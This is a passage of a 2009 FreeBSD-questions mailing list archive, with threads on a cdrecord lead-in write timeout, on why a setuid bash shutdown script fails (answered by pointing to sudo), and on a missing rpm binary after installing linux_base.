Received: from EXCHSRV.fokus.fraunhofer.de (bohr.fokus.fraunhofer.de [10.147.9.231]) by pluto.fokus.fraunhofer.de (8.14.2/8.14.2) with SMTP id n7RLr4Fm020799; Thu, 27 Aug 2009 23:53:04 +0200 (MEST) Received: from rigel ([10.147.65.195]) by EXCHSRV.fokus.fraunhofer.de with Microsoft SMTPSVC(6.0.3790.3959); Thu, 27 Aug 2009 23:53:04 +0200 Date: Thu, 27 Aug 2009 23:52:16 +0200 From: Joerg.Schilling@fokus.fraunhofer.de (Joerg Schilling) To: yuri@rawbw.com Message-ID: <4a970010.sbpgYsYLhO5P1h6Q%Joerg.Schilling@fokus.fraunhofer.de> References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> <4A96F9A2.3080001@rawbw.com> In-Reply-To: <4A96F9A2.3080001@rawbw.com> User-Agent: nail 11.22 3/20/05 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 27 Aug 2009 21:53:04.0362 (UTC) FILETIME=[C11B5CA0:01CA2760] Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 03:31:48 -0000 Yuri wrote: > I used -dao. Removing -dao. Removing -dao made my command line like this: > cdrecord dev=5,0,0 speed=4 -raw96r -v -pad -useinfo -text *.wav > > And now it fails with this log: > Cdrecord-ProDVD-ProBD-Clone 2.01.01a62 (i386-unknown-freebsd7.2) > Copyright (C) 1995-2009 J???rg Schilling > TOC Type: 0 = CD-DA > scsidev: '5,0,0' > scsibus: 5 target: 0 lun: 0 > Using libscg version 'schily-0.9'. > SCSI buffer size: 65536 > atapi: 0 > Device type : Removable CD-ROM > Version : 0 > Response Format: 2 > Capabilities : > Vendor_info : 'PIONEER ' > Identifikation : 'DVD-RW DVR-112D' > Revision : '1.21' ... > Track 10: audio 95 MB (09:27.22) no preemp pregapsize: 305 > Track 11: audio 27 MB (02:41.44) no preemp pregapsize: 332 > Total size: 586 MB (58:05.80) = 261435 sectors > Lout start: 586 MB (58:07/60) = 261435 sectors > Current Secsize: 2048 > ATIP info from disk: > Indicated writing power: 5 > Disk Is not unrestricted > Disk Is not erasable > Disk sub type: Medium Type B, low Beta category (B-) (4) > ATIP start of lead in: -11834 (97:24/16) > ATIP start of lead out: 359849 (79:59/74) > Disk type: Short strategy type (Phthalocyanine or similar) > Manuf. index: 24 > Manufacturer: SONY Corporation > > Capacity Blklen/Sparesz. Format-type Type > 0 2048 0x00 Unformated or Blank Media > Blocks total: 359849 Blocks current: 359849 Blocks remaining: 98414 > Starting to write CD/DVD/BD at speed 4 in real RAW/RAW96R mode for > single session. > Last chance to quit, starting real write 0 seconds. Operation starts. > Waiting for reader process to fill input buffer ... input buffer ready. > BURN-Free is OFF. > Performing OPC... > cdrecord: WARNING: Drive returns wrong startsec (-150) using -11834 from > ATIP > Writing lead-in at sector -11834 > cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after > 41.429 (40) s > CDB: 2A 00 FF FF D4 02 00 00 1A 00 > cmd finished after 41.429s timeout 40s > write leadin data: error after 1400256 bytes > cdrecord: Could not write Lead-in. > Writing time: 56.827s > cdrecord: fifo had 64 puts and 0 gets. > cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%. What error message did cdrecord print? Jörg -- EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) joerg.schilling@fokus.fraunhofer.de (work) Blog: http://schily.blogspot.com/ URL: http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 03:47:35 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2DC491065694 for ; Fri, 28 Aug 2009 03:47:35 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id C66EC902AA for ; Thu, 27 Aug 2009 21:55:56 +0000 (UTC) Received: from eagle.syrec.org (c-24-6-221-126.hsd1.ca.comcast.net [24.6.221.126]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id n7RLtb2f058321; Thu, 27 Aug 2009 14:55:37 -0700 (PDT) Message-ID: <4A9700D8.7090503@rawbw.com> Date: Thu, 27 Aug 2009 14:55:36 -0700 From: Yuri User-Agent: Thunderbird 2.0.0.23 (X11/20090824) MIME-Version: 1.0 To: Joerg Schilling References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> <4A96F9A2.3080001@rawbw.com> <4a970010.sbpgYsYLhO5P1h6Q%Joerg.Schilling@fokus.fraunhofer.de> In-Reply-To: <4a970010.sbpgYsYLhO5P1h6Q%Joerg.Schilling@fokus.fraunhofer.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 03:47:35 -0000 Joerg Schilling wrote: > > What error message did cdrecord print? > > Jörg > > I've sent you the entire output. This line: cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%. was the last. And it returned exit code 255. Yuri From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 04:15:44 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A2163106568B for ; Fri, 28 Aug 2009 04:15:44 +0000 (UTC) (envelope-from Joerg.Schilling9ab33xy531fokus.fraunhofer.de@bounce.antispameurope.com) Received: from relay01-haj2.antispameurope.com (relay01-haj2.antispameurope.com [83.246.65.51]) by mx1.freebsd.org (Postfix) with ESMTP id 35ABC90308 for ; Thu, 27 Aug 2009 22:03:58 +0000 (UTC) Received: by relay01-haj2.antispameurope.com (ASE-Secure-MTA, from userid 1000) id 579B394154; Fri, 28 Aug 2009 00:03:41 +0200 (CEST) Received: from pluto.fokus.fraunhofer.de (pluto.fokus.fraunhofer.de [195.37.77.164]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by relay01-haj2.antispameurope.com (ASE-Secure-MTA) with ESMTP id D79BA94154; Fri, 28 Aug 2009 00:03:39 +0200 (CEST) Received: from EXCHSRV.fokus.fraunhofer.de (bohr.fokus.fraunhofer.de [10.147.9.231]) by pluto.fokus.fraunhofer.de (8.14.2/8.14.2) with SMTP id n7RM3d7m020944; Fri, 28 Aug 2009 00:03:39 +0200 (MEST) Received: from rigel ([10.147.65.195]) by EXCHSRV.fokus.fraunhofer.de with Microsoft SMTPSVC(6.0.3790.3959); Fri, 28 Aug 2009 00:03:39 +0200 Date: Fri, 28 Aug 2009 00:02:51 +0200 From: Joerg.Schilling@fokus.fraunhofer.de (Joerg Schilling) To: yuri@rawbw.com Message-ID: <4a97028b.33/8PtH/TTQ8dv17%Joerg.Schilling@fokus.fraunhofer.de> References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> <4A96F9A2.3080001@rawbw.com> <4a970010.sbpgYsYLhO5P1h6Q%Joerg.Schilling@fokus.fraunhofer.de> <4A9700D8.7090503@rawbw.com> In-Reply-To: <4A9700D8.7090503@rawbw.com> User-Agent: nail 11.22 3/20/05 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 27 Aug 2009 22:03:39.0707 (UTC) FILETIME=[3BCD50B0:01CA2762] Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 04:15:44 -0000 Yuri wrote: > I've sent you the entire output. This line: > cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%. > was the last. > And it returned exit code 255. > You did not send the SCSI error message Jörg -- EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) joerg.schilling@fokus.fraunhofer.de (work) Blog: http://schily.blogspot.com/ URL: http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 04:53:41 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EC2F4106564A for ; Fri, 28 Aug 2009 04:53:40 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id B79779038A for ; Thu, 27 Aug 2009 22:13:19 +0000 (UTC) Received: from eagle.syrec.org (c-24-6-221-126.hsd1.ca.comcast.net [24.6.221.126]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id n7RMD25u062275; Thu, 27 Aug 2009 15:13:02 -0700 (PDT) Message-ID: <4A9704EC.9030100@rawbw.com> Date: Thu, 27 Aug 2009 15:13:00 -0700 From: Yuri User-Agent: Thunderbird 2.0.0.23 (X11/20090824) MIME-Version: 1.0 To: Joerg Schilling References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> <4A96F9A2.3080001@rawbw.com> <4a970010.sbpgYsYLhO5P1h6Q%Joerg.Schilling@fokus.fraunhofer.de> <4A9700D8.7090503@rawbw.com> <4a97028b.33/8PtH/TTQ8dv17%Joerg.Schilling@fokus.fraunhofer.de> In-Reply-To: <4a97028b.33/8PtH/TTQ8dv17%Joerg.Schilling@fokus.fraunhofer.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 04:53:41 -0000 Joerg Schilling wrote: > You did not send the SCSI error message > > Jörg > I've sent the entire output printed to stdout/stderr. This line in there talks about timeout: cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 41.429 (40) s Yuri From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 05:27:47 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AEF2510656A3 for ; Fri, 28 Aug 2009 05:27:47 +0000 (UTC) (envelope-from Joerg.Schilling9ab33xy531fokus.fraunhofer.de@bounce.antispameurope.com) Received: from relay04-haj2.antispameurope.com (relay04-haj2.antispameurope.com [83.246.65.54]) by mx1.freebsd.org (Postfix) with ESMTP id DED9E903F9 for ; Thu, 27 Aug 2009 22:24:47 +0000 (UTC) Received: by relay04-haj2.antispameurope.com (ASE-Secure-MTA, from userid 1000) id A7A3D5EC102; Fri, 28 Aug 2009 00:24:30 +0200 (CEST) Received: from pluto.fokus.fraunhofer.de (pluto.fokus.fraunhofer.de [195.37.77.164]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by relay04-haj2.antispameurope.com (ASE-Secure-MTA) with ESMTP id 106C85EC102; Fri, 28 Aug 2009 00:24:29 +0200 (CEST) Received: from EXCHSRV.fokus.fraunhofer.de (bohr.fokus.fraunhofer.de [10.147.9.231]) by pluto.fokus.fraunhofer.de (8.14.2/8.14.2) with SMTP id n7RMOS1C021518; Fri, 28 Aug 2009 00:24:28 +0200 (MEST) Received: from rigel ([10.147.65.195]) by EXCHSRV.fokus.fraunhofer.de with Microsoft SMTPSVC(6.0.3790.3959); Fri, 28 Aug 2009 00:24:28 +0200 Date: Fri, 28 Aug 2009 00:23:41 +0200 From: Joerg.Schilling@fokus.fraunhofer.de (Joerg Schilling) To: yuri@rawbw.com Message-ID: <4a97076d.tKuzcIceuQxne41y%Joerg.Schilling@fokus.fraunhofer.de> References: <4a96eaeb.+hwTxrm8ZMkfnJv7%Joerg.Schilling@fokus.fraunhofer.de> <4A96F862.1040508@rawbw.com> <4a96f8ac.7yxfIGkQ+lxeAvHQ%Joerg.Schilling@fokus.fraunhofer.de> <4A96F9A2.3080001@rawbw.com> <4a970010.sbpgYsYLhO5P1h6Q%Joerg.Schilling@fokus.fraunhofer.de> <4A9700D8.7090503@rawbw.com> <4a97028b.33/8PtH/TTQ8dv17%Joerg.Schilling@fokus.fraunhofer.de> <4A9704EC.9030100@rawbw.com> In-Reply-To: <4A9704EC.9030100@rawbw.com> User-Agent: nail 11.22 3/20/05 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 27 Aug 2009 22:24:28.0926 (UTC) FILETIME=[246501E0:01CA2765] Cc: freebsd-questions@freebsd.org Subject: Re: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 05:27:47 -0000 Yuri wrote: > Joerg Schilling wrote: > > You did not send the SCSI error message > > > > Jörg > > > > > I've sent the entire output printed to stdout/stderr. > > This line in there talks about timeout: > cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after > 41.429 (40) s OK, if this is a timeout, then you would need to find why this timeout happens. There are two probabilities: 1) A cabling problem 2) This is PATA and you have a hard disk at the same cable. In case of 1), check or replace the cables, make sure that the OS is set up for UDMA to the drive (this requires a 80 wire cable - unfortunately the drive manufacturers deliver only 40 wire cable). In case of 2) use the -immed option. Jörg -- EMail:joerg@schily.isdn.cs.tu-berlin.de (home) Jörg Schilling D-13353 Berlin js@cs.tu-berlin.de (uni) joerg.schilling@fokus.fraunhofer.de (work) Blog: http://schily.blogspot.com/ URL: http://cdrecord.berlios.de/private/ ftp://ftp.berlios.de/pub/schily From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 08:24:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BA6951065826 for ; Fri, 28 Aug 2009 08:24:38 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 4EF528FC17 for ; Fri, 28 Aug 2009 08:24:36 +0000 (UTC) Received: by fxm6 with SMTP id 6so1362915fxm.43 for ; Fri, 28 Aug 2009 01:24:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=yRyrGTbucQEyxuwVqGGcyaUHxLvOTDRU3Nbq5qFLxoA=; b=ntJD+4gjen3SkgzMVqZ3XWywhHe23k+fr0Y1N4ZI8wQuQMPK7nHRAIHR/ppb3AbSZV oGsUb0m4SljtFL+s+O9czGEevlgolBgnVtMhgR1Jveqn83vRb5kOPuhkeCKJ+guFNkct xRaxylbOms3JJGpGwaGxnacEPO/8OP2h7DHYo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=fr90mQbkH/nQVX1Kn38TOllIGSBxwMR18BI9ln7mT+wCUACxK1EwAbK1130vbng1QX f4uvkAm3MM0hdr08c2kYR76lP7Zo0oM1k9ob3Pbvm+NI6DFFTzDeaq+f/GkszzPT/VTx h6KS0Xj0AVgEnHlz93ajz8pVUCG9cf9ReqsoE= MIME-Version: 1.0 Received: by 10.103.37.25 with SMTP id p25mr121593muj.42.1251447875989; Fri, 28 Aug 2009 01:24:35 -0700 (PDT) Date: Fri, 28 Aug 2009 09:24:35 +0100 Message-ID: From: Jeronimo Calvo To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 08:24:38 -0000 Hi folks! Im trying to set up a reaaallly basic scrip to allow one user to shutdown my machine without root permisions, seting up SUID as follows: -rwsrwxr-- 1 root wheel 38 Aug 27 23:12 apagar.sh $ ./apagar.sh Permission denied content of script: cat apagar.sh ]#!/usr/local/bin/bash shutdown -p now As far as i know, using SUID, script must runs with root permissions... so i shoudnt get "Permission denied", what im doing wrong?? From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 08:54:22 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A6FBE106566C for ; Fri, 28 Aug 2009 08:54:22 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from poseidon.ceid.upatras.gr (poseidon.ceid.upatras.gr [150.140.141.169]) by mx1.freebsd.org (Postfix) with ESMTP id 552648FC0A for ; Fri, 28 Aug 2009 08:54:22 +0000 (UTC) Received: from mail.ceid.upatras.gr (unknown [10.1.0.143]) by poseidon.ceid.upatras.gr (Postfix) with ESMTP id 6E367EB5402; Fri, 28 Aug 2009 11:54:21 +0300 (EEST) Received: from localhost (europa.ceid.upatras.gr [127.0.0.1]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 62942450D0; Fri, 28 Aug 2009 11:54:21 +0300 (EEST) X-Virus-Scanned: amavisd-new at ceid.upatras.gr Received: from mail.ceid.upatras.gr ([127.0.0.1]) by localhost (europa.ceid.upatras.gr [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Lj7kmmBlNJpl; Fri, 28 Aug 2009 11:54:21 +0300 (EEST) Received: from kobe.laptop (unknown [77.49.137.81]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 2837C4503F; Fri, 28 Aug 2009 11:54:21 +0300 (EEST) Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id n7S8sKcO035970 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Aug 2009 11:54:20 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id n7S8sJQR035969; Fri, 28 Aug 2009 11:54:19 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Jeronimo Calvo References: Date: Fri, 28 Aug 2009 11:54:19 +0300 In-Reply-To: (Jeronimo Calvo's message of "Fri, 28 Aug 2009 09:24:35 +0100") Message-ID: <87y6p4pbd0.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1.50 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 08:54:22 -0000 On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo wrote: > Hi folks! > > Im trying to set up a reaaallly basic scrip to allow one user to shutdown my > machine without root permisions, seting up SUID as follows: > > > -rwsrwxr-- 1 root wheel 38 Aug 27 23:12 apagar.sh > > $ ./apagar.sh > > Permission denied > > > content of script: > > > cat apagar.sh > > ]#!/usr/local/bin/bash > shutdown -p now > > As far as i know, using SUID, script must runs with root > permissions... so i shoudnt get "Permission denied", what im doing > wrong?? No it must not. There are security reasons why shell scripts are not setuid-capable. You can find some of them in the archives of the mailing list, going back at least until 1997. The good thing is that you don't need a shell script to do that. You can install `sudo' and give permission to the specific user to run: sudo shutdown -p now From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 09:01:56 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F1CBD1065670 for ; Fri, 28 Aug 2009 09:01:56 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 710AD8FC15 for ; Fri, 28 Aug 2009 09:01:56 +0000 (UTC) Received: by bwz2 with SMTP id 2so1377264bwz.43 for ; Fri, 28 Aug 2009 02:01:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=Rj2tjvCGol5zOvHy6LZIwl+u3p448L8ukGKEDrhLwGA=; b=WLmkHrbQ/OlwPcD1O36ko9cYaXxXxepHI7+MZX4U3XAFC5mZAIaKv9m6AsMNOt/DlY r3cL0gRlagMEPUg9vwuy0YYDvceUyYGbEe9zaf/g1fu3BF9VP0ORVgtQycvob/1Moplu /MIKWgGsw8wbBvMO2+G0feXHwWyn+vNkvIy6g= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=lGl3Xc0GbLIPmQGxIQyJ4kJ3kPl9KZAikDICqedniuAiyQja89Zzl9+Hr3cDTX/XZ0 kWU0IajKbZ0wCCHAfozXx3C8mloEdj/px2lYx8+FXQj9FVM/O3h/Sx2S/hn0AKAKlsDA +YXv98VU/joeQCIufvUFxIk28PGgZIRDXJpyg= MIME-Version: 1.0 Received: by 10.102.226.17 with SMTP id y17mr139057mug.67.1251450114792; Fri, 28 Aug 2009 02:01:54 -0700 (PDT) In-Reply-To: References: <87y6p4pbd0.fsf@kobe.laptop> Date: Fri, 28 Aug 2009 10:01:54 +0100 Message-ID: From: Jeronimo Calvo To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 09:01:57 -0000 Aham! so SUID can be applied to sh but it doesn't work!, there is not anyway to apply it? apart from installing sudo?, The thing is that installing sudo and adding that user into sudoers, that user will be capable to do any other SU tasks, apart of shutting down... wich i dont like :D (I know that SUID could be even worst if they edit the .sh file... but lets believe they dont even know that XD) Cheers! 2009/8/28 Giorgos Keramidas On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo < > jeronimocalvop@googlemail.com> wrote: > > Hi folks! > > > > Im trying to set up a reaaallly basic scrip to allow one user to shutdown > my > > machine without root permisions, seting up SUID as follows: > > > > > > -rwsrwxr-- 1 root wheel 38 Aug 27 23:12 apagar.sh > > > > $ ./apagar.sh > > > > Permission denied > > > > > > content of script: > > > > > > cat apagar.sh > > > > ]#!/usr/local/bin/bash > > shutdown -p now > > > > As far as i know, using SUID, script must runs with root > > permissions... so i shoudnt get "Permission denied", what im doing > > wrong?? > > No it must not. There are security reasons why shell scripts are not > setuid-capable. You can find some of them in the archives of the > mailing list, going back at least until 1997. > > The good thing is that you don't need a shell script to do that. You > can install `sudo' and give permission to the specific user to run: > > sudo shutdown -p now > > From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 09:06:35 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EA899106564A for ; Fri, 28 Aug 2009 09:06:35 +0000 (UTC) (envelope-from wtf.jlaine@gmail.com) Received: from mail-ew0-f209.google.com (mail-ew0-f209.google.com [209.85.219.209]) by mx1.freebsd.org (Postfix) with ESMTP id 7BE818FC1D for ; Fri, 28 Aug 2009 09:06:35 +0000 (UTC) Received: by ewy5 with SMTP id 5so954878ewy.36 for ; Fri, 28 Aug 2009 02:06:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:received:date:from:to:subject :message-id:mail-followup-to:mime-version:content-type :content-disposition:user-agent:x-operating-system; bh=J9E2vHDnpBhmICba/h5wFjq48xhu5oo1LQK4/iFYIy0=; b=dNIkV1Y+qbec6egW7w8DnZBD6020lQGRoq7QmgqFixksR7BjcfyixQTKj1SfH1txZA ZZHjf4pIwj+2D6ss24GVUaElr6PhQO+t1s/THzrWISfpxv2wckyZqx615exc92cADKsq 8O6yKOY3Hfz+l768NKX6idsoBukJuL21XsjE0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:mail-followup-to:mime-version :content-type:content-disposition:user-agent:x-operating-system; b=LZNQtZR5EJv6+gRxf9Njes51DtyHrdjjRQT5h8WqVtRzdwPQt0YDsBvhIu7ZD5/Flx wKY/mmFpH1pDj6fShZag5hppzLH4gXXHzzgvJp6DZXYSa1FsYV1PsoYho0kfbaewRA6+ rozcQdvg0cLi6ZtVy/naISFCiHbJ6PW+SllnU= Received: by 10.210.20.10 with SMTP id 10mr10866661ebt.72.1251450394318; Fri, 28 Aug 2009 02:06:34 -0700 (PDT) Received: from aperture_lab ([77.66.145.99]) by mx.google.com with ESMTPS id 7sm1448158eyb.18.2009.08.28.02.06.32 (version=SSLv3 cipher=RC4-MD5); Fri, 28 Aug 2009 02:06:33 -0700 (PDT) Received: by aperture_lab (sSMTP sendmail emulation); Fri, 28 Aug 2009 13:06:28 +0400 Date: Fri, 28 Aug 2009 13:06:28 +0400 From: Jeff Laine To: freebsd-questions@freebsd.org Message-ID: <20090828090628.GA57211@free.bsd.loc> Mail-Followup-To: Jeff Laine , freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 8.0-BETA2 i386 Subject: linux_base installation - missing rpm binary X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 09:06:36 -0000 Hello, I've just installed the emulators/linux_base-f10 port in order to run some rpm-based applications. Various online manuals told me that one should not use the native freebsd rpm binary (archivers/rpm), but instead use the /compat/linux/bin/rpm. But there's no such rpm binary under /compat/linux tree. What am I doing wrong? XD I'm running vanilla FreeBSD-7.2-RELEASE, fresh ports tree. TIA. -- Best regards, Jeff | "Nobody wants to say how this works. | | Maybe nobody knows ..." | | Xorg.conf(5) | From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 09:55:35 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3B226106566C for ; Fri, 28 Aug 2009 09:55:35 +0000 (UTC) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (tunnel490.ipv6.xs4all.nl [IPv6:2001:888:10:1ea::2]) by mx1.freebsd.org (Postfix) with ESMTP id BD8468FC15 for ; Fri, 28 Aug 2009 09:55:34 +0000 (UTC) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.14.2/8.14.2) with ESMTP id n7S9tTwX030141; Fri, 28 Aug 2009 11:55:29 +0200 (CEST) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org 